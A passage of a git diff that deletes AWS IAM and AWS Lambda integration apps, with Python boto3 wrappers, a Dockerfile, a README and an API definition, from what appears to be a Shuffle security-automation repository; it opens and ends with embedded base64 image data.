data:image/png;base64,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 diff --git a/aws-iam/1.0.0/aws-iam.png b/aws-iam/1.0.0/aws-iam.png deleted file mode 100644 index 3ee433f6..00000000 Binary files a/aws-iam/1.0.0/aws-iam.png and /dev/null differ diff --git a/aws-iam/1.0.0/requirements.txt b/aws-iam/1.0.0/requirements.txt deleted file mode 100644 index 06ef1c78..00000000 --- a/aws-iam/1.0.0/requirements.txt +++ /dev/null @@ -1,2 +0,0 @@ -boto3==1.16.59 -requests==2.25.1 \ No newline at end of file diff --git a/aws-iam/1.0.0/src/app.py b/aws-iam/1.0.0/src/app.py deleted file mode 100644 index 1e341fb3..00000000 --- a/aws-iam/1.0.0/src/app.py +++ /dev/null @@ -1,248 +0,0 @@ -import socket -import asyncio -import time -import random -import json -import boto3 -import botocore -from botocore.config import Config -import datetime - -from walkoff_app_sdk.app_base import AppBase - -def datetime_handler(x): - """ This function is used make datetime object json serilizable, - removing this function can cause error in some actions """ - - if isinstance(x, datetime.datetime): - return x.isoformat() - raise TypeError("Unknown type") - -class AWSIAM(AppBase): - __version__ = "1.0.0" - app_name = "AWS IAM" - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - def auth_iam(self, access_key, secret_key, region): - my_config = Config( - region_name = region, - signature_version = 'v4', - retries = { - 'max_attempts': 10, - 'mode': 'standard' - }, - ) - - self.iam = boto3.resource( - 'iam', - config=my_config, - aws_access_key_id=access_key, - aws_secret_access_key=secret_key, - ) - - return self.iam - - def change_password(self, access_key, secret_key, region, username, password): - self.iam = self.auth_iam(access_key, secret_key, region) - client = self.iam.meta.client - - try: - return client.update_login_profile(UserName=username, Password=password, PasswordResetRequired=True) - except botocore.exceptions.ClientError as e: - print("Error: %s" % e) - return "%s" % e - - def attach_user_policy(self, access_key, secret_key, region, username, policy_arn): - self.iam = self.auth_iam(access_key, secret_key, region) - client = self.iam.meta.client - - try: - response = client.attach_user_policy( - PolicyArn=str(policy_arn), - UserName= str(username), - ) - return json.dumps(response) - except botocore.exceptions.ClientError as e: - print(f"Error: {e}") - return f'{e}' - - def list_access_keys(self, access_key, secret_key, region, username, marker, max_items): - self.iam = self.auth_iam(access_key, secret_key, region) - client = self.iam.meta.client - - try: - response = client.list_access_keys( - UserName= str(username) - ) - if marker: - response = client.list_access_keys( - UserName= str(username), - Marker = str(marker) - ) - if max_items: - response = client.list_access_keys( - UserName= str(username), - MaxItems = int(max_items) - ) - if marker and max_items: - response = client.list_access_keys( - UserName= str(username), - MaxItems = int(max_items), - Marker = str(marker) - ) - return json.dumps(response, default=datetime_handler) - except botocore.exceptions.ClientError as e: - return f'{e}' - - def list_ssh_public_keys(self, access_key, secret_key, region, username, marker, max_items): - self.iam = self.auth_iam(access_key, secret_key, region) - client = self.iam.meta.client - - try: - response = client.list_ssh_public_keys( - UserName= str(username) - ) - if marker: - response = client.list_ssh_public_keys( - UserName= str(username), - Marker = str(marker) - ) - if max_items: - response = client.list_ssh_public_keys( - UserName= str(username), - MaxItems = int(max_items) - ) - if marker and max_items: - response = client.list_ssh_public_keys( - UserName= str(username), - MaxItems = int(max_items), - Marker = str(marker) - ) - - return json.dumps(response, default=datetime_handler) - except botocore.exceptions.ClientError as e: - return f'{e}' - - def get_instance_profile(self, access_key, secret_key, region, instance_profile_name): - self.iam = self.auth_iam(access_key, secret_key, region) - client = self.iam.meta.client - - try: - response = client.get_instance_profile( - InstanceProfileName= str(instance_profile_name) - ) - return json.dumps(response, default=datetime_handler) - except botocore.exceptions.ClientError as e: - print(f"Error: {e}") - return f'{e}' - - def get_user(self, access_key, secret_key, region, user_name): - self.iam = self.auth_iam(access_key, secret_key, region) - client = self.iam.meta.client - - try: - response = client.get_user( - UserName= str(user_name) - ) - return json.dumps(response, default= datetime_handler) - except botocore.exceptions.ClientError as e: - print(f"Error: {e}") - return f'{e}' - - def list_attached_user_policies(self, access_key, secret_key, region, user_name, marker, max_items): - self.iam = self.auth_iam(access_key, secret_key, region) - client = self.iam.meta.client - - try: - response = client.list_attached_user_policies( - UserName= str(user_name) - ) - if marker: - response = client.list_attached_user_policies( - UserName= str(user_name), - Marker = str(marker) - ) - if max_items: - response = client.list_attached_user_policies( - UserName= str(user_name), - MaxItems = int(max_items) - ) - if marker and max_items: - response = client.list_attached_user_policies( - userName= str(user_name), - MaxItems = int(max_items), - Marker = str(marker) - ) - - return json.dumps(response, default=datetime_handler) - except botocore.exceptions.ClientError as e: - return f'{e}' - - def list_users(self, access_key, secret_key, region, path_prefix, marker, max_items): - self.iam = self.auth_iam(access_key, secret_key, region) - client = self.iam.meta.client - - try: - response = client.list_users( - PathPrefix = path_prefix - ) - if marker: - response = client.list_users( - PathPrefix = path_prefix, - Marker = str(marker) - ) - if max_items: - response = client.list_users( - PathPrefix = path_prefix, - MaxItems = int(max_items) - ) - if marker and max_items: - response = client.list_users( - PathPrefix = path_prefix, - MaxItems = int(max_items), - Marker = str(marker) - ) - - return json.dumps(response, default=datetime_handler) - except botocore.exceptions.ClientError as e: - return f'{e}' - - def list_user_tags(self, access_key, secret_key, region, user_name, marker, max_items): - self.iam = self.auth_iam(access_key, secret_key, region) - client = self.iam.meta.client - - try: - response = client.list_user_tags( - UserName = str(user_name) - ) - if marker: - response = client.list_user_tags( - UserName = str(user_name), - Marker = str(marker) - ) - if max_items: - response = client.list_user_tags( - UserName = str(user_name), - MaxItems = int(max_items) - ) - if marker and max_items: - response = client.list_user_tags( - UserName = str(user_name), - MaxItems = int(max_items), - Marker = str(marker) - ) - - return json.dumps(response, default=datetime_handler) - except botocore.exceptions.ClientError as e: - return f'{e}' - -if __name__ == "__main__": - AWSIAM.run() diff --git a/aws-lambda/1.0.0/Dockerfile b/aws-lambda/1.0.0/Dockerfile deleted file mode 100644 index ff7bd7a0..00000000 --- a/aws-lambda/1.0.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG \ No newline at end of file diff --git a/aws-lambda/1.0.0/README.md b/aws-lambda/1.0.0/README.md deleted file mode 100644 index 699374b5..00000000 --- a/aws-lambda/1.0.0/README.md +++ /dev/null @@ -1,28 +0,0 @@ -# AWS Lambda -Amazon Web Services Serverless Compute service (lambda) -## Actions - -| No. | Action | Description | Parameters | -|-----|--------|-------------|------------| -|1 | List Functions | Returns a list of your Lambda functions. | access_key, secret_key, region -|2 | Get Function | Returns information about the function or function version, with a link to download the deployment package that's valid for 10 minutes. If you specify a function version, only details that are specific to that version are returned. | access_key, secret_key, region, **function_name**, qualifier -|3 | List Aliases | Returns list of aliases created for a Lambda function. | access_key, secret_key, region, **function_name**, function_version -|4 | Invoke | Invokes a Lambda function. | access_key, secret_key, region, **function_name**, invocation_type, logtype -|5 | Get Account Settings | Retrieves details about your account's limits and usage in an AWS Region. | access_key, secret_key, region -|6 | Delete Function | Deletes a Lambda function. To delete a specific version, use the Qualifier parameter. | access_key, secret_key, region, **function_name**, qualifier -__Note__: -- access_key, secret_key and region are used for authentication. -- **Bold** Parameters are compulsory required. - - -## Requirements -1. AWS account -2. Access key, Secret key and region of the user. -- __How to find access key & secret key ?__ -1. Open https://console.aws.amazon.com/ -2. From navbar click on user dropwodown → My Security Credentials. -3. Open the Access keys tab, and then choose Create access key. -4. To see the new access key, choose Show. Your credentials resemble the following: -- Access key ID: AKIAIOSBODNN7EXAMPLE -- Secret access key: wJalrDTtnFEMI/K7MDENG/bGdRfiCYEXAMPLEKEY -Required AWS IAM Permissions and Roles for Lambda are documented here. diff --git a/aws-lambda/1.0.0/api.yaml b/aws-lambda/1.0.0/api.yaml deleted file mode 100644 index 816f7dbe..00000000 --- a/aws-lambda/1.0.0/api.yaml +++ /dev/null @@ -1,124 +0,0 @@ -app_version: 1.0.0 -name: AWS Lambda -description: An app to interact with Amazon Lambda -contact_info: - name: "@shalinbhavsar" - url: https://shuffler.io - email: shalinbhavsar17@gmail.com -tags: - - MISP - - AWS -categories: - - MISP -authentication: - required: true - parameters: - - name: access_key - description: The access key to use - example: "*****" - required: true - schema: - type: string - - name: secret_key - description: The secret key to use - example: "*****" - required: true - schema: - type: string - - name: region - description: The region to use - example: "ap-south-1" - required: true - schema: - type: string -actions: - - name: list_functions - description: Lists all lambda functions - returns: - schema: - type: string - - name: get_function - description: Returns information about the function or function version. - parameters: - - name: function_name - description: The name of the lambda function, version or alias - required: true - schema: - type: string - - name: qualifier - description: Specify a version or alias to get details about a plublished version of the function - required: false - schema: - type: string - returns: - schema: - type: string - - name: list_aliases - description: Returns a list of aliases for a lambda function - parameters: - - name: function_name - description: The name of the lambda function, version or alias - required: true - schema: - type: string - - name: function_version - description: Specify a function version - required: false - schema: - type: string - returns: - schema: - type: string - - name: invoke - description: Invokes a lambda function - parameters: - - name: function_name - description: The name of the lambda function, version or alias - required: true - schema: - type: string - - name: invocation_type - description: Invocation types - required: true - example: RequestResponse - options: - - RequestResponse - - Event - - DryRun - schema: - type: string - - name: logtype - description: Set to Tail to include the execution log in the response. - required: true - example: None - options: - - None - - Tail - schema: - type: string - returns: - schema: - type: string - - name: get_account_settings - description: Retrives details about your account's limits and usage - returns: - schema: - type: string - - name: delete_function - description: Deletes a Lambda function - parameters: - - name: function_name - description: The name of the lambda function, version or alias - example: my-function - required: true - schema: - type: string - - name: qualifier - description: Specify a version or alias to get details about a plublished version of the function - required: false - schema: - type: string - returns: - schema: - type: string -large_image: data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABLAAAASwCAMAAADc/0P9AAAABGdBTUEAALGPC/xhBQAAACBjSFJNAAB6JgAAgIQAAPoAAACA6AAAdTAAAOpgAAA6mAAAF3CculE8AAAC61BMVEXYZhPZaxvjklfuu5b118H66t/88uz89e/89O766+D228fvwZ/lmmTbcCPcdizuvJf99fD////++vjxx6jfgDvZaBfrsYf9+fb//fzabh/cdCn23crfgT3dejLhikvbcyb56d3YZxT00rr56d7abR7no3DuvJj78en+/PrefDXpp3fwxqf449P+/fvcdy7vwqHmnWj++/ntt5DuvprcdSryzrPtuZPzz7X9+PXstIv99vHacCLrsIX89O3qrH777uTZahnnonDmnmn559rYZxXlmWLnoG3gh0b//v7klVvlmmP34dHfg0DjkFT007v23MnhiEfhi0z12MP01r/ijlHhiUnz0bjghUL34M/yzLDll1///v3fgDz45NXxyKrmnGbYaBb56Nvww6LdeTDZaRjuvpvopXTcdiv77+btupXpqXvabBz88uvstY3qroL99/L88+zss4nabyHqrYDsto/78erbcSX9+PTpqHn77uX++vfopHLvwJ767ePnn2vwxKTdezPxyaz45dfefznkll344tLfgz/jkVbijE7hiUr22sfghUP3387449TefTb67OLbcyfZaxr78OjbcSTabR355tnefjj44tPfgj723cvghkX22sbghkTklFr34NDyyq7efTf45dbefDTvwaDdeC/77+ftuJLqq33bcibss4rabiDrr4T99/PcdCjopnbuvZncdy3noW/lmGHyy67z0Lb3383jj1P01Lz12cXhiEj12cT01b7ij1L23Mjz0Lfjk1jghEHyy6/lmGDxx6n56NzwwqLnoW767OHopnXtuZTpqnzstYzrr4PqrH/pp3joo3HmnmrwxaXxyq3efzrklVzjkVX118L11sDijU/z0bnyzbLuu5XqrYHrsonrsojsto7opHPvv5znoGzwxKPhi0vmm2X01L3klFnkl17yzbHijlDzzrTwxabtuJHrsIbpqn3mnWf33szlm2TpqXrijE3deTH55tjvv53xyKsztHjNAAAAAWJLR0QR4rU9ugAAAAd0SU1FB+ULCw4rBFEPgvsAAERoSURBVHja7d15gFfT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